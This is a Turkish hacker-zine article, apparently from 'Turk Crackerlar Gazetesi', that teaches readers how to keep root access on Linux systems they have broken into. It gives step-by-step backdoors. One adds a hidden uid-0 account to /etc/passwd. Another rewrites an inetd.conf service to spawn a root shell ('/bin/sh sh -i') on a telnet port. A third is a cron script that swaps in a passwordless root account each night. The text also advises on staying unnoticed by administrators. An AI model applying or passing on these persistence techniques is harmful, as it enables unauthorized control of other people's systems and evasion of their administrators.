|
|
|
![]() |
|||
![]() ![]() ![]() |
![]() |
![]() |
||||
BACKDOOR
- Backdoor Nedir, Nasıl Kullanılır (Bölüm I). (Düzenleyen DaRkCLusTeR) (Turk Crackerlar Gazetesi) MeRHabA!!! Bu seferki yazımın konusu arka kapılar, size birkaç arka kapı göstereceğim. Çok karışık olmayanlarından, yani kendi Linux'ünüzde yazıyı okur okumaz deneyebilirsiniz, ve ayrıca göstereceğim arka kapılardan yola çıkıp hayal gücünüzü de kullanarak, çok hoş arka kapılar yapabilirsiniz..Yalnız arka kapılar "root" elde etmek için değildir. Arka kapılar çok çalışıp zorla elde ettiğiniz "root"'u sistemde güvenlik delikleri oluşturarak bir sonraki geri dönüşünüz için elinizde tutmanız içindir. Herneyse, diyelim ki çok aceleniz var ve hemen bir arka kapı oluşturmak istiyorsunuz. /etc/passwd dosyasını hemen bir programla açıp ortalarına bir yere şüphe çekmeyecek bir root hesabı ekleyin ya da dosyanın derinlerinde bir yerlerde sistem yöneticisinin daha önceden dondurduğu bir hesabın uid'ini 0 yapın ve * işaretini kaldırın. Bunlar zorunlu kalmadıkça kullanılmaması gereken yöntemlerdir ve sistem yöneticisinin en çabuk fark edeceği kapılardır. Bu yüzden ZORUNLU KALMADIKÇA KULLANMAYIN!!! Şimdi geldik bir inetd.conf arka kapısına! Ama en eğlencelisini sona sakladım..hehe... Inetd, sistemin portlarını yükleyen bir programdır ve aynı zamanda arka kapılar için de çok uygundur. Gerçi /etc/inetd.conf dosyasında değişiklik yapılarak yaratılan arka kapıların yaşam süresi sistem yöneticisine göre değişir. Pek uzun yaşayacaklarını hiç sanmıyorum; fakat denemeye değer. Aşağıda kendi bilgisayarımdaki Linux'den aldığım bir /etc/inetd.conf örneği var. (Tabii ki hepsi değil...) #ftp stream tcp nowait root /usr/sbin/tcpd in.ftpd -l -a #telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd #gopher stream tcp nowait root /usr/sbin/tcpd gn #nntp stream tcp nowait root /usr/sbin/tcpd in.nntpd #shell stream tcp nowait root /usr/sbin/tcpd in.rshd #login stream tcp nowait root /usr/sbin/tcpd in.rlogind #exec stream tcp nowait root /usr/sbin/tcpd in.rexecd #talk dgram udp wait root /usr/sbin/tcpd in.talkd #ntalk dgram udp wait root /usr/sbin/tcpd in.ntalkd #dtalk stream tcp waut nobody /usr/sbin/tcpd in.dtalkd #pop-2 stream tcp nowait root /usr/sbin/tcpd ipop2d #pop-3 stream tcp nowait root /usr/sbin/tcpd ipop3d #imap stream tcp nowait root /usr/sbin/tcpd imapd #uucp stream tcp nowait uucp /usr/sbin/tcpd /usr/lib/uucp/uucico -l #tftp dgram udp wait root /usr/sbin/tcpd in.tftpd #bootps dgram udp wait root /usr/sbin/tcpd bootpd finger stream tcp nowait root /usr/sbin/tcpd in.fingerd -l #cfingerstream tcp nowait root /usr/sbin/tcpd in.cfingerd #systat stream tcp nowait guest /usr/sbin/tcpd /bin/ps -auwwx #netstatstream tcp nowait guest /usr/sbin/tcpd /bin/netstat -f inet #time stream tcp nowait nobody /usr/sbin/tcpd in.timed #time dgram udp wait nobody /usr/sbin/tcpd in.timed #auth stream tcp nowait nobody /usr/sbin/in.identd in.identd -l -e -o # işareti Linux'e o satırı okumamasını sağlıyor. Gördüğünüz gibi benim sadece telnet ve finger portlarım açık. Aslında normalde ben hiç bir portumu açık bırakmam, ama bu aralar açık işte :) Şimdi "Bunlarda nedir?" diye soracaksınız. Telnet'i ele alalım. Satırdaki birinci bölüm çalıştırılacak daemon'un, yani, programın ismidir. İkinci bölümdeki stream socket tipidir. TCP'nin socketi stream ,UDP'ninkiyse dgram. Sonraki bölümde ise protocol ismini görüyorsunuz. Sonraki bölümdeyse programın hangi kullanıcı türü olarak çalışacağı belirlenir. Yani telnet root (uid=0) olarak çalışacak. Beşinci bölümde ise programın bulunduğu dizin var; fakat benim inetd.conf dosyamda /usr/sbin/tcpd'yi görüyorsunuz. Tcpd güvenlik için bazı bilgileri kaydeden bir daemon olduğuna göre, burada telnetin hareketleri normalde olduğundan fazla kaydediliyor. Son bölümdeyse daemonun paremetreleriyle beraber gerçek ismini görüyorsunuz. Bir de daemonların hangi portları ve protocolleri kullandığını içeren /etc/services dosyası vardır. Bu dosya sayesinde 23 olan telnet portunu, 7000 yapabiliriz :) Aşağıda bir services örneği var: tcpmux 1/tcp # rfc-1078 echo 7/tcp echo 7/udp discard 9/tcp sink null discard 9/udp sink null systat 11/tcp users daytime 13/tcp daytime 13/udp netstat 15/tcp qotd 17/tcp quote chargen 19/tcp ttytst source chargen 19/udp ttytst source ftp-data 20/tcp ftp 21/tcp telnet 23/tcp smtp 25/tcp mail time 37/tcp timserver time 37/udp timserver rlp 39/udp resource # resource location name 42/udp nameserver whois 43/tcp nicname # usually to sri-nic domain 53/tcp domain 53/udp mtp 57/tcp # deprecated bootps 67/udp # bootp server bootpc 68/udp # bootp client tftp 69/udp gopher 70/tcp # gopher server rje 77/tcp finger 79/tcp http 80/tcp # www is used by some broken www 80/tcp # progs, http is more correct link 87/tcp ttylink kerberos 88/udp kdc # Kerberos authentication--udp kerberos 88/tcp kdc # Kerberos authentication--tcp supdup 95/tcp # BSD supdupd(8) hostnames 101/tcp hostname # usually to sri-nic iso-tsap 102/tcp x400 103/tcp # ISO Mail x400-snd 104/tcp csnet-ns 105/tcp pop-2 109/tcp # PostOffice V.2 pop-3 110/tcp # PostOffice V.3 pop 110/tcp # PostOffice V.3 sunrpc 111/tcp sunrpc 111/tcp portmapper # RPC 4.0 portmapper UDP sunrpc 111/udp sunrpc 111/udp portmapper # RPC 4.0 portmapper TCP auth 113/tcp ident # User Verification sftp 115/tcp uucp-path 117/tcp nntp 119/tcp usenet # Network News Transfer ntp 123/tcp # Network Time Protocol ntp 123/udp # Network Time Protocol netbios-ns 137/tcp nbns netbios-ns 137/udp nbns netbios-dgm 138/tcp nbdgm netbios-dgm 138/udp nbdgm netbios-ssn 139/tcp nbssn imap 143/tcp # imap network mail protocol NeWS 144/tcp news # Window System snmp 161/udp snmp-trap 162/udp exec 512/tcp # BSD rexecd(8) biff 512/udp comsat login 513/tcp # BSD rlogind(8) who 513/udp whod # BSD rwhod(8) shell 514/tcp cmd # BSD rshd(8) syslog 514/udp # BSD syslogd(8) printer 515/tcp spooler # BSD lpd(8) talk 517/udp # BSD talkd(8) ntalk 518/udp # SunOS talkd(8) efs 520/tcp # for LucasFilm route 520/udp router routed # 521/udp too timed 525/udp timeserver tempo 526/tcp newdate courier 530/tcp rpc # experimental conference 531/tcp chat netnews 532/tcp readnews netwall 533/udp # -for emergency broadcasts uucp 540/tcp uucpd # BSD uucpd(8) UUCP service klogin 543/tcp # Kerberos authenticated rlogin kshell 544/tcp cmd # and remote shell new-rwho 550/udp new-who # experimental remotefs 556/tcp rfs_server rfs # Brunhoff remote filesystem rmonitor 560/udp rmonitord # experimental monitor 561/udp # experimental pcserver 600/tcp # ECD Integrated PC board srvr mount 635/udp # NFS Mount Service pcnfs 640/udp # PC-NFS DOS Authentication bwnfs 650/udp # BW-NFS DOS Authentication kerberos-adm 749/tcp # Kerberos 5 admin/changepw kerberos-adm 749/udp # Kerberos 5 admin/changepw kerberos-sec 750/udp # Kerberos authentication--udp kerberos-sec 750/tcp # Kerberos authentication--tcp kerberos_master 751/udp # Kerberos authentication kerberos_master 751/tcp # Kerberos authentication krb5_prop 754/tcp # Kerberos slave propagation listen 1025/tcp listener RFS remote_file_sharing nterm 1026/tcp remote_login network_terminal kpop 1109/tcp # Pop with Kerberos ingreslock 1524/tcp tnet 1600/tcp # transputer net daemon cfinger 2003/tcp # GNU finger nfs 2049/udp # NFS File Service eklogin 2105/tcp # Kerberos encrypted rlogin krb524 4444/tcp # Kerberos 5 to 4 ticket xlator irc 6667/tcp # Internet Relay Chat dos 7000/tcp msdos Buraya istediğinizi ekleyebilirsiniz. Örneğin; ircyi ele alalım. Baştaki "irc" sözcüğü /etc/inetd.conf'un içinde yer alacak olan isim, 6667 port numarası, tcp protokol tipi, # işaretinden sonraki bölümse açıklaması. Artık bu anlattıklarımdan sonra, kapıyı nasıl koyacağınızı anlatacağım. Kendi servisinizi yükleyebilirsiniz ya da önceden yüklenmiş bir servisi değiştirebilirsiniz. Örneğin, kurbanımız time olsun. time stream tcp nowait nobody /usr/sbin/tcpd in.timed Time'ın port numarası services dosyasında 37 olarak belirlendiği için services dosyasını değiştirmeye gerek yok. Önemli olan son üç bölüm. Kapımızın root olarak çalışması şart olduğu için nobody yerine root yazın. /usr/sbin/tcpd yerine /bin/sh yazın. Ve son olarak in.timed yerine sh -i yazın. Satırın aynı aşağıdaki gibi olması gerekiyor: time stream tcp nowait root /bin/sh sh -i Hepsi bu kadar! Eğer isterseniz riske girip yönetici yerine siz "killall -HUP inetd" yazarak dosyayı tekrar okutabilirsiniz ya da biraz bekleyebilirsiniz. Şimdi tek yapacağınız port 37'ye telnet çekmek. Root olarak sistemde bulacaksınız kendinizi...heuehuhu...Tek yapacağınız kapınızı /etc/services dosyasına tanıtmak ve inetd.conf'a eklemek. İşte size bir örnek: inetd.conf --> filter stream tcp nowait root /bin/sh sh -i services --> filter 8000/tcp backdoor İşte bu kadar. Şimdi tek yapacağınız "killall -HUP inetd" yazıp, port 8000'e telnet çekmek. Hiç zor değil...Ama bu kapılar daha önce de dediğim gibi hemen fark edilir. Peki hangileri hemen fark edilmez? C dosyası şeklinde olan truva atları tabii ki! Ve son olarak /etc/crontab kapılarına geldik. Sadece bir tane örnek vereceğim, çünkü hayal gücünüzü kullanarak bir sürü değişik kapı üretebilirsiniz. Crond istediğiniz zamanda istediğiniz işlemi yapmanızı sağlayan çok yararlı bir araçtır. Şimdiki örnekte, crond 30 saniyeliğine begüm isimli bir kullanıcıyı aktif hale getiriyor. Basit ama etkili br örnek. Nasıl mı yapacaksınız? Çok basit, sadece /etc/crontab dosyasına bir satır gireceksiniz ve birkaç shell dosyası yapacaksınız. Tabii ki biraz unix bilginizin olduğunu düşünüyorum. Aşağıda crontab dosyasındaki alanların açıklamaları var: (1) (2) (3) (4) (5) (6) dakika saat gün ay haftanınçalıştırılacak komut ya da dosya 0-59 0-23 1-31 1-12 0-6günü Şimdi /var/spool/crond/ ya da /var/spool/mail/ dizinlerinden biri mutlaka olacaktır. Varsa /var/spool/crond/, yoksa /var/spool/mail/ dizininin içine gidip "begum" adlı bir dosya yaratın ve bu dosyanın içine şunları girin: 30 23 * * * sh /usr/bin/test Sonra /usr/bin/ dizinine gidin ve test adlı bir dosya yaratıp şu değişiklikleri yapın: cp /etc/passwd /etc/passwdd rm /etc/passwd cp /etc/tester /etc/passwd sleep 30 rm /etc/passwd cp /etc/passwdd /etc/passwd Daha sonra /etc/'ye gidip tester adlı bir dosya yaratıp aşağıdakileri girin: begum::0:0:Begum Atac:/:/bin/bash İşte arka kapınız hazır! Her gün saat 23:30'da 30 saniyeliğine gerçek passwd dosyası yerine kendi begum isimli root hesabımızı aktif hale getiriyoruz! Bu çok basit ve bir çok insanın bildiği bir kapıdır. Tabii ki hayal gücünüz sayesinde çok daha karmaşık ve iyilerini yaratabilirsiniz. Hepsi bu kadar...Size anlattıklarımı başka yerlerde de okumuş olabilirsiniz. Bana mail atıp kopyaladğımı söylemeyin! Neden mi? Çünkü bunlar en çok bilinen kapılardır, bu nedenle başkalarının da anlatmış olması çok normal! Herneyse, belki başka bir sayıda karışık arka kapı örnekleri veririm, şimdilik bu kadar. Kendinize iyi bakın!
|
|
|||||
![]() |
![]() |